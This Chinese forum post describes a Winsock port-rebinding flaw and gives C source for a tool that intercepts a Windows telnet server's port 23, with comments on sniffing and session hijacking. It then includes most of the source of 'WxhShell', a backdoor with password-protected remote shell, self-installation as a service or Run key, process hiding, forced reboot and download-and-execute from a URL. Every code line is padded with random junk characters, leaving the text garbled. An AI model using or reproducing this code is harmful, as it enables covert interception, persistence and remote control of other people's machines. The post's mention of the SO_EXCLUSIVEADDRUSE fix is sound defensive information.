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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: k Mu8"Az  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _9=Yvc=  
a"FCZ.O1  
  saddr.sin_family = AF_INET; +6';1Nb@  
Zrvz;p@~  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); zx-81fx+k  
|QU <e  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); QlJ)F{R8il  
8ELCs<xI  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 p(~Yx3$*  
73xAG1D$r  
  这意味着什么?意味着可以进行如下的攻击: w,h`s.AN  
(CsD*U`h  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 p4'G$]#  
MhR:c7,  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Qk,I^1w?7  
B5X(ykaX~  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 #)C[5?{SNq  
[/Rf\T(,jn  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  j!]YNH@  
:.$3vaZ@  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ;~D)~=|ZZ  
VzY8rI  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 !"\80LP  
%`r?c<P}  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 h"_MA_]~  
 \4v]7SV  
  #include y *fDwd~  
  #include ;*:Pw?'  
  #include X&7 F_#s  
  #include    K%^V?NP*{Z  
  DWORD WINAPI ClientThread(LPVOID lpParam);   eA#;AQm  
  int main() f' 3q(a<p  
  { <})2#sZO!  
  WORD wVersionRequested; b/C`J p  
  DWORD ret; cVv;Jn  
  WSADATA wsaData; 8 0Gn%1A9  
  BOOL val; Jo@|"cE=  
  SOCKADDR_IN saddr; U$_xUG  
  SOCKADDR_IN scaddr; EUN81F?  
  int err; [3{W^WSOz  
  SOCKET s; joiL{  
  SOCKET sc; 4cl\^yD  
  int caddsize; rvXWcu-"  
  HANDLE mt; 0tEYU:Qu  
  DWORD tid;   T>R0T{A  
  wVersionRequested = MAKEWORD( 2, 2 ); yIDD@j=l  
  err = WSAStartup( wVersionRequested, &wsaData ); UN]f"k&  
  if ( err != 0 ) { `Ye\p6v!+  
  printf("error!WSAStartup failed!\n"); 9983aFam  
  return -1; :=wT vz  
  } vK _?<>  
  saddr.sin_family = AF_INET; )6|yb65ZUX  
   hvDNz"ec{  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 5[* qi?w=  
[^U#Qj)hL  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); u%$Zqee  
  saddr.sin_port = htons(23); oAPb*;}  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) V`bi&1?6\  
  { -Xxqm%([71  
  printf("error!socket failed!\n"); G-?d3 n  
  return -1; MD|5 ol9  
  } f"u%J/e&  
  val = TRUE; ?sMP~RHQ  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 dv.(7Y7.x  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) nIU6h  
  { 59O?_F9  
  printf("error!setsockopt failed!\n"); ++V=s\d7  
  return -1; q.2ykL  
  } O'W0q;rT  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; *T~Ve;3h;  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 TW[_Ko86  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 :j]vf8ec  
^V#@QPK9  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) sIK;x]Q)  
  { h\PHK C2  
  ret=GetLastError(); 4)U.5FBk )  
  printf("error!bind failed!\n"); 8AnP7}n;?'  
  return -1; %Mk0QKzUo  
  } qU#BJON]BR  
  listen(s,2); ,B0_MDA +  
  while(1) *{y K 8  
  { 4*'pl.rb>  
  caddsize = sizeof(scaddr); mL_j4=ER@  
  //接受连接请求 S6AU[ASY.  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); lhw ,J]0*  
  if(sc!=INVALID_SOCKET) CC@.MA@9N  
  { SL;9Q[  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); LWHd~"eU  
  if(mt==NULL) t| 'N+-T3  
  { U)o$WH.b  
  printf("Thread Creat Failed!\n"); T+<A`k: -  
  break; &d5ia+ #  
  } r%.do;5  
  } 1$81E.  
  CloseHandle(mt); $.GOZqMs  
  } 9$|Gfyv  
  closesocket(s); 6p?JAT5  
  WSACleanup(); FN%m0"/Z{t  
  return 0; W@Lu;g.Yc  
  }   ]f_6 '|5 A  
  DWORD WINAPI ClientThread(LPVOID lpParam) YBP:q2H  
  { a\:VREKj,  
  SOCKET ss = (SOCKET)lpParam; K%X^n>O7C  
  SOCKET sc; Jte#ZnP  
  unsigned char buf[4096]; 'qF#<1&  
  SOCKADDR_IN saddr; bLd#xXl  
  long num; y:h}z).  
  DWORD val; nYa*b=[.  
  DWORD ret; "eWYv3z~-  
  //如果是隐藏端口应用的话,可以在此处加一些判断 K.z64/H:  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   OKvPL=~  
  saddr.sin_family = AF_INET; Sf,R^9#|  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 1[t=XDz/e  
  saddr.sin_port = htons(23); y T#{UA^  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {!K-E9_,S  
  { pIKSs<IP  
  printf("error!socket failed!\n"); 0`I-2M4F*Q  
  return -1; -p E(_  
  } &09U@uc$  
  val = 100; d'|, [p  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $Tb G+Eb8  
  { C{q:_M;  
  ret = GetLastError(); j* *s^Sg  
  return -1; Eb=#9f%y>&  
  } Qo1eXMW  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -Z?Vd!H:  
  { j$7Xs"  
  ret = GetLastError(); /De^  
  return -1; |K^"3`SJ  
  } &k1T08C*  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) rX;Ys2vQ*  
  { U7DCx=B  
  printf("error!socket connect failed!\n"); ,~);EC=`  
  closesocket(sc); -dO'~all  
  closesocket(ss); #%FN>v3e  
  return -1; c.A|Ir  
  } toaYsiIkzW  
  while(1) .y&QqxiE  
  { NcAp_q? 4  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 $7'g Rb4  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 5&f{1M6l>  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 x+@&(NMP5  
  num = recv(ss,buf,4096,0); 0ilCS[`b  
  if(num>0) Y=T'WNaL)0  
  send(sc,buf,num,0); \bx~*FaX  
  else if(num==0) Dr9 ?2  
  break; `:eViVl6e  
  num = recv(sc,buf,4096,0); WpLZQ6wH  
  if(num>0) 2nFy`|aA%  
  send(ss,buf,num,0); "aF8l<1xn  
  else if(num==0) (LtkA|:  
  break; zLD|/`  
  } \Yoa:|%*y  
  closesocket(ss); =9LC<2  
  closesocket(sc); s:Akk kF  
  return 0 ; (#oycj^<  
  } SjEdyN#  
h)v^q: ='  
jb /8?7  
========================================================== CWO=0_>2  
60Z]M+8y8  
下边附上一个代码,,WXhSHELL {FI\~ q  
b%t+,0s|  
========================================================== 6TH!vuQ1(  
QI_59f>  
#include "stdafx.h" ?_`0G/xl  
U4Nh  
#include <stdio.h> ,5|d3dJS  
#include <string.h> `Vq`z]}  
#include <windows.h> 1IgHc.s  
#include <winsock2.h> IB|]fzy  
#include <winsvc.h> -n*;W9  
#include <urlmon.h> d/7lefF  
IwpbfZ  
#pragma comment (lib, "Ws2_32.lib") X-B8MoG|  
#pragma comment (lib, "urlmon.lib") \Z/k;=Sla  
yW.COWL=)  
#define MAX_USER   100 // 最大客户端连接数 1'G8o=~  
#define BUF_SOCK   200 // sock buffer Vj; vo`T  
#define KEY_BUFF   255 // 输入 buffer Ewo*yY>  
(RXS~8  
#define REBOOT     0   // 重启 Xev54!619  
#define SHUTDOWN   1   // 关机 *(cU]NUH_  
0>!/rR7  
#define DEF_PORT   5000 // 监听端口 S2~@nhO`U(  
F3ZxhkF  
#define REG_LEN     16   // 注册表键长度 s>z2  k  
#define SVC_LEN     80   // NT服务名长度 /f1'm@8;  
sa1mC  
// 从dll定义API (OQ?<'Qa  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |t\|:E>" }  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); wAbp3hX  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); H]&!'\aUz  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); GoE#Mxhxo  
dyQh:u -  
// wxhshell配置信息 ~"ONAX  
struct WSCFG { JZ`L%  
  int ws_port;         // 监听端口 "E*8h/4u  
  char ws_passstr[REG_LEN]; // 口令 lv:U%+A  
  int ws_autoins;       // 安装标记, 1=yes 0=no j"<Y!Y3  
  char ws_regname[REG_LEN]; // 注册表键名 w1B<0'#  
  char ws_svcname[REG_LEN]; // 服务名 s?O&ZB2GM[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Z|^MGyn  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 qmmv7==  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Ugi5OKdj7)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no da*9(!OV  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" N4[E~ -  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 PO ko]@~!i  
Mr6E/7g%  
}; j%M @#  
tE!'dpG5)  
// default Wxhshell configuration f]}}yBte`  
struct WSCFG wscfg={DEF_PORT, I=YCQ VvA  
    "xuhuanlingzhe", ;]h.m)~|  
    1, n0.8)=;2  
    "Wxhshell", >=!AL,:  
    "Wxhshell", U5 rxt^  
            "WxhShell Service", 6H;kJHn  
    "Wrsky Windows CmdShell Service", md6*c./Z  
    "Please Input Your Password: ", gStY8Z!k  
  1, DyI2Ye  
  "http://www.wrsky.com/wxhshell.exe", fH!=Zb_{8  
  "Wxhshell.exe" GUCM4jVT^  
    }; uAb 03Q  
^"`Z1)V  
// 消息定义模块 zjoo{IH}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; P`!Ak@N  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 'aPCb`^;w  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Orc>.~+f%A  
char *msg_ws_ext="\n\rExit."; ew"m!F#  
char *msg_ws_end="\n\rQuit."; f)tc4iV  
char *msg_ws_boot="\n\rReboot..."; ?W<cB`J  
char *msg_ws_poff="\n\rShutdown..."; !@yQK<0  
char *msg_ws_down="\n\rSave to "; 0(vdkC4\A  
9<qx!-s2rr  
char *msg_ws_err="\n\rErr!"; 3qcpf:  
char *msg_ws_ok="\n\rOK!"; tD^a5qPh  
MVuP |&:n  
char ExeFile[MAX_PATH]; % 9YA^ri  
int nUser = 0; 67 O<*M  
HANDLE handles[MAX_USER]; h~.V[o7=  
int OsIsNt; }u7D9_KU  
#?5VsD8  
SERVICE_STATUS       serviceStatus; _pW 'n=}R  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; /]l f>\x1  
p(7c33SyF  
// 函数声明 lzI/\%  
int Install(void); 7\ZL  
int Uninstall(void); SJF2k[da  
int DownloadFile(char *sURL, SOCKET wsh); fcn_<Yh0W  
int Boot(int flag); =~;zVP   
void HideProc(void); `bi k/o=%  
int GetOsVer(void); h?3f5G*&H  
int Wxhshell(SOCKET wsl); tdb4?^.s  
void TalkWithClient(void *cs); #m_\1&g  
int CmdShell(SOCKET sock); 3V!W@[ }:  
int StartFromService(void); B4 <_"0  
int StartWxhshell(LPSTR lpCmdLine); I$F\(]"@  
s!=!A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @]yQJuXA&Z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1(D1}fcul  
5Wj5IS/  
// 数据结构和表定义 7~ILRj5Nq  
SERVICE_TABLE_ENTRY DispatchTable[] = ]#+5)[N$>  
{ bv_AJ4gS  
{wscfg.ws_svcname, NTServiceMain}, "%Lmgy:~  
{NULL, NULL} W|FNDP0  
}; bwT"$Ee  
mrX}\p   
// 自我安装 AZ}%MA; q  
int Install(void) xDNw /'  
{ M~#5/eRX  
  char svExeFile[MAX_PATH]; mfUKHX5  
  HKEY key; >hh"IfIZ4  
  strcpy(svExeFile,ExeFile); C}|O#"t^\  
((n5';|N  
// 如果是win9x系统,修改注册表设为自启动 =]6_{#Z<  
if(!OsIsNt) { if\k[O 1T6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {_+>"esc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gDgP;i d  
  RegCloseKey(key); I]s:Ev[~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { InTKdr^ P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); sz){uOI  
  RegCloseKey(key); <$Xn:B<H  
  return 0; e=|F(iW  
    } N}e(.  
  } mvxc[  
} 2-/YYe;C  
else { 0^_)OsFA  
0`zm>fh}  
// 如果是NT以上系统,安装为系统服务 KX&Od@cQ$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); K .c6Rg  
if (schSCManager!=0) 3RG/X  
{ $Ykp8u,(  
  SC_HANDLE schService = CreateService #<^/yoH7C6  
  ( uT@8 _9  
  schSCManager, (*c`<|)  
  wscfg.ws_svcname, C]{V%jU  
  wscfg.ws_svcdisp, sP=2NqU3Q  
  SERVICE_ALL_ACCESS, \ltErd-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9'1;-^U1  
  SERVICE_AUTO_START, ~%::r_hQ  
  SERVICE_ERROR_NORMAL, j8F~j?%!  
  svExeFile, RJ7/I/yD|  
  NULL, gw*yIZ@3)  
  NULL, #m[w=Pu}  
  NULL, mDe+ M {/  
  NULL, Z\o AE<$  
  NULL ;nHo%`Zt  
  ); ;Ln7_  
  if (schService!=0) p>w~T#17  
  { Mf,Mcvs  
  CloseServiceHandle(schService); J,&`iL-  
  CloseServiceHandle(schSCManager); }(hYG"5  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .LhbhUEfn  
  strcat(svExeFile,wscfg.ws_svcname); 3IRRFIiO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { q#':aXcv"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ADJ5ZD<Q  
  RegCloseKey(key); U_=wL  
  return 0; ? geWR_Z  
    } U3dR[*  
  } :)3$&QdHT  
  CloseServiceHandle(schSCManager); _tR.RAaa"  
} It,n +A  
} n!E H>'T  
VNh,pQ(  
return 1; iTtAj~dfZ  
}  C.TCDl  
c`N`x U+z  
// 自我卸载 sou$qKoG01  
int Uninstall(void) e&]`X HC9  
{ 1rzq$,O  
  HKEY key; "Jv,QTIcS  
`peJ s~V  
if(!OsIsNt) { @|*Z0bn'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8aIf{(/k  
  RegDeleteValue(key,wscfg.ws_regname); }'M1(W  
  RegCloseKey(key); >c'_xa?^G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *#{.\R-D  
  RegDeleteValue(key,wscfg.ws_regname); >p+gx,N  
  RegCloseKey(key); \gW\Sa ^  
  return 0; JNz"lTt>[g  
  } NByN}e  
} RU ,N_GV   
} cX]{RVZo-/  
else { V{^fH6;[  
3U.B[7fOM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); b42pLbpe'E  
if (schSCManager!=0) qt&"cw  
{ oG_'<5Bv>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "=RoI  
  if (schService!=0) _ JJ0pc9t  
  { ;<GTtt# D  
  if(DeleteService(schService)!=0) { .j'IYlv/P  
  CloseServiceHandle(schService); eR 2T<7G  
  CloseServiceHandle(schSCManager); OL9C #er  
  return 0; _e@qv;*  
  } E@}j}/%'O  
  CloseServiceHandle(schService); %T*+t"\)  
  } i3WmD@  
  CloseServiceHandle(schSCManager); ->25$5#  
} 9@EnmtR  
} uV:uXQni``  
FG36,6N%2j  
return 1; %v)'`|i  
} [(UqPd$  
Fmle|  
// 从指定url下载文件 ovoI~k'  
int DownloadFile(char *sURL, SOCKET wsh) # i=^WN<V  
{ &!~n=]*sz  
  HRESULT hr; Bw7:ry  
char seps[]= "/"; K}(n;6\  
char *token; {:8[Mdf  
char *file; hLD;U J?S  
char myURL[MAX_PATH]; q5?mP6   
char myFILE[MAX_PATH]; <%f%e4 [  
<RsKV$Je I  
strcpy(myURL,sURL); X}FF4jE]D(  
  token=strtok(myURL,seps); LZ]pyoi  
  while(token!=NULL) fy4JW,c  
  { R~(.uV`#j  
    file=token; eh(]'%![/  
  token=strtok(NULL,seps); d>-EtWd  
  } p6\9H G  
L6 # d  
GetCurrentDirectory(MAX_PATH,myFILE); xEWa<P#.u  
strcat(myFILE, "\\"); >2a#|_-T  
strcat(myFILE, file); e(5R8ud  
  send(wsh,myFILE,strlen(myFILE),0); mW9b~G3k  
send(wsh,"...",3,0); XArLL5_L  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ZSb+92g{L$  
  if(hr==S_OK) Di=6.gm[<  
return 0; #(4hX6?5AI  
else TI&J>/z;$  
return 1; ? D'-{/<4  
`<Nc Y*  
} >R-$JrU.=  
;<rJ,X#  
// 系统电源模块 4"=pcHNV  
int Boot(int flag) 2yc\A3ft#  
{ Z28@yD +  
  HANDLE hToken; w$HC!  
  TOKEN_PRIVILEGES tkp; (dZ&Af  
,%<77LE  
  if(OsIsNt) { PrxXL/6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); mL+ps x+  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /n=/WGl  
    tkp.PrivilegeCount = 1; BpE[9N  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]7@Dqd-/S  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  Jt][b  
if(flag==REBOOT) { Y?x3JU0_  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~8E rl3=5{  
  return 0; ,)8Hl[y  
} T;7|d5][  
else { GM~jR-FZ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) S8t9Ms: k  
  return 0; 5#tvc4+)  
} s3S73fNOk  
  } W X9BS$}0  
  else { mmti3Y  
if(flag==REBOOT) { qr1^i1%\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) QG ia(  
  return 0; ZgtOy|?|  
} NKN!X/P  
else { n"vI>_|G  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) u)ItML  
  return 0; kS>j!U(%d  
} JM0)x}] +  
} x8t1g,QA  
4l:+>U@KU  
return 1; ;+\;^nS3d  
} [aW#7  
w1Kyd?~%]  
// win9x进程隐藏模块 |tkmO:  
void HideProc(void) L'(^[vR(  
{ l1msXBC  
Vj1AW<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _eS*e-@O5  
  if ( hKernel != NULL ) dpS  
  { `*B8IT)  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); e3.TGv7=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Aka`L:k  
    FreeLibrary(hKernel); ZsE8eD  
  } x<"e  
f>o@Y]/l  
return; r+n&Pp+9  
} /V^S)5r  
M&L"yQA  
// 获取操作系统版本 x!J L9  
int GetOsVer(void) tSjK=1"}  
{ YV9%^ZaN7  
  OSVERSIONINFO winfo; iV%% VR8b  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); QP'* )gjO7  
  GetVersionEx(&winfo); QH;aJ(>$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) IkupW|}rc  
  return 1; '7$v@Tvnre  
  else i ):el=  
  return 0; ( %bfNs|  
} 5<61NnZ  
^T" A9uaG  
// 客户端句柄模块 IMBqy-q  
int Wxhshell(SOCKET wsl) p47~vgJN  
{ ;^;5"n h  
  SOCKET wsh; ' Mg%G(3  
  struct sockaddr_in client; v / a/  
  DWORD myID; f!87JE=<  
8<P.>u  
  while(nUser<MAX_USER) "l!"gc87  
{ ~{HA!C#  
  int nSize=sizeof(client); wM><DrQ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); CN zK-,  
  if(wsh==INVALID_SOCKET) return 1; q,2 @X~T  
t.m $|M>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8ciLzyrY*  
if(handles[nUser]==0) #df Aqg'  
  closesocket(wsh); a].Bn#AH!C  
else r+>9O  
  nUser++; gxJ(u{2  
  } OuX/BMG  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); c45Mv_  
}3@`'i7  
  return 0; ;e-iiC]PI  
} lp4sO#>`  
}(gXlF  
// 关闭 socket I@.qon2V  
void CloseIt(SOCKET wsh) a"~W1|JC"  
{ y:1?~R  
closesocket(wsh); O'(qeN<^w  
nUser--; bBjVot  
ExitThread(0); e7<~[>g)  
} F|V?Z  
JG4Tb{F=  
// 客户端请求句柄 =\`9\Gd  
void TalkWithClient(void *cs) cLamqZf3  
{ vG<Mz?wr  
enZW2o97c  
  SOCKET wsh=(SOCKET)cs; U; ev3  
  char pwd[SVC_LEN]; @w@rW }i0  
  char cmd[KEY_BUFF]; wp$SO^?-  
char chr[1]; hd+JKh!u  
int i,j; 0(teplo&P  
I_v]^>Xw  
  while (nUser < MAX_USER) { 0\u_ \%[  
1w?X~VZAX  
if(wscfg.ws_passstr) { dBCg$Rud&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p_tMl%K  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t,+p!"MRY  
  //ZeroMemory(pwd,KEY_BUFF); ^ .>)*P  
      i=0; r/8,4:rh  
  while(i<SVC_LEN) {  Zuwd(q  
D7 A{*Tm  
  // 设置超时 J0^p\mG  
  fd_set FdRead; \\)3:1X  
  struct timeval TimeOut; QiY7m<3  
  FD_ZERO(&FdRead); Ro?yCy:L'  
  FD_SET(wsh,&FdRead); eD G=-a4  
  TimeOut.tv_sec=8; ==Ju2D?%  
  TimeOut.tv_usec=0; `Q}.9s_ri  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); julAN$2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2uV=kqnO  
61CNEzQ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (,HA Os  
  pwd=chr[0]; *F2obpU  
  if(chr[0]==0xd || chr[0]==0xa) { ;p1%KmK3  
  pwd=0; h|_G2p^J+"  
  break;  5Gg`+o  
  } <Eq^r h  
  i++; .b5B7 x}  
    } vBq 2JJAl  
$O7>E!uVD  
  // 如果是非法用户,关闭 socket @~/LsYA:  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); cYW F)WAog  
} 7vgz=- MZ#  
lLo FM  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); amgYr$)m  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hNSV}~h  
t~gnai  
while(1) { ]'M Ly#9  
v&p\ r'w  
  ZeroMemory(cmd,KEY_BUFF); G$Z8k,g+<7  
GiI2nHZc  
      // 自动支持客户端 telnet标准   ytr~} M%  
  j=0; 5=5~GX-kr  
  while(j<KEY_BUFF) { ;%hlh)k$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cD]{ Nn  
  cmd[j]=chr[0]; ppfBfMX  
  if(chr[0]==0xa || chr[0]==0xd) { DYbkw4Z,  
  cmd[j]=0; ,]1K^UeZ  
  break; *}A J7]  
  } "P'W@  
  j++; Jc:*X4-'  
    } tb^3-ZUb  
a4O!q;tu7  
  // 下载文件 315Rk!{AJ  
  if(strstr(cmd,"http://")) { OV Iu&6#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ``K.4sG  
  if(DownloadFile(cmd,wsh)) lRX*\ M\`  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); jW"C: {Ol;  
  else hyVuZ\9B  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '72ZLdi}-  
  } mS0*%[S {  
  else { Azq,N@HO  
Hq< Vk.Nk  
    switch(cmd[0]) { n<y!@p^X  
  }"2 0:  
  // 帮助 zf4@:GM`  
  case '?': { ^+Ec}+ Q  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +wgNuj0=*  
    break; }I9\=jT  
  } &iId<.SiJ  
  // 安装 b_z;^y~  
  case 'i': { jx+%X\zokA  
    if(Install()) Ks{^R`O au  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nkSYW]aQ1g  
    else 0".pw; .}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G<Z|NT  
    break; 1wi{lJaz  
    } Ti=~ycwi  
  // 卸载 )CSb\  
  case 'r': { NUX0=(k  
    if(Uninstall()) d/j$_NQ&!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .3t[M0sd  
    else "P~0 7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &w- QMj M>  
    break; ix=HLF-0zC  
    } rH8w||S2U  
  // 显示 wxhshell 所在路径 O)kC[e4  
  case 'p': { ??CtmH  
    char svExeFile[MAX_PATH]; l+*^P'0u  
    strcpy(svExeFile,"\n\r"); e3yBB*@  
      strcat(svExeFile,ExeFile); o=X6PoJ N_  
        send(wsh,svExeFile,strlen(svExeFile),0); ZYos.ay  
    break; +3(1QgYM%  
    } pkWzaf  
  // 重启 :CNHN2 J  
  case 'b': { hCQz D2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); s"*zyLUUo  
    if(Boot(REBOOT)) k`F$aQV9`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j{C+`~O  
    else { &~29%Ns  
    closesocket(wsh); sZ/~pk  
